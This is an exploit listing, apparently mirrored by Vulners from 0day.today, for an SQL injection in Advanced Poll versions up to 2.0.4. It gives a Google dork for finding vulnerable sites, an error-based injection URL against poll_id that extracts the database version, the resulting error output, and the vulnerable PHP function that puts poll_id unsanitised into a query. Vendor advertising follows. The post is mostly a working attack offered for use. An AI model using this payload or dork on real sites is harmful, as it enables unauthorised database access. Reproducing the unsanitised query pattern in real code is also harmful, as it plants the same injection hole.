Lucene search
K

Advanced Poll version <= 2.0.4 SQL-injection

🗓️ 31 Dec 2011 00:00:00Reported by EreeeType 
zdt
 zdt
🔗 0day.today👁 29 Views

Advanced Poll version <= 2.0.4 SQL-injection, remote webapps vulnerabilit

Code
# Exploit Title: Advanced Poll version <= 2.0.4 SQL-injection
# Date: 31.12.2011
# Author: Ereee
# Version: <=2.0.4
# Category:: [remote, webapps]
# Google dork: inurl:"popup.php?action=results"
# Tested in: web

Query:
http://localhost/poll/demo_3.php?poll_id=1+or+1+group+by+concat_ws(0x3a, version(),rand(0)|0)+having+min(0)--+f
Result:
Error Number: 1062 Duplicate entry '5.0.77:1' for key 'group_key'

Vulnerable code in class_poll.php
########################################
function is_valid_poll_id($poll_id) {
if ($poll_id>0) {
$this->db->fetch_array($this->db->query("SELECT poll_id FROM ".$this->tbl['poll_index']." WHERE poll_id=$poll_id AND status<'2'"));
return ($this->db->record['poll_id']) ? true : false;
} else {
return false;
}
}
########################################

Greetz to : forum.antichat.ru&rdot.org members



#  0day.today [2018-03-20]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

31 Dec 2011 00:00Current
7.1High risk
Vulners AI Score7.1
29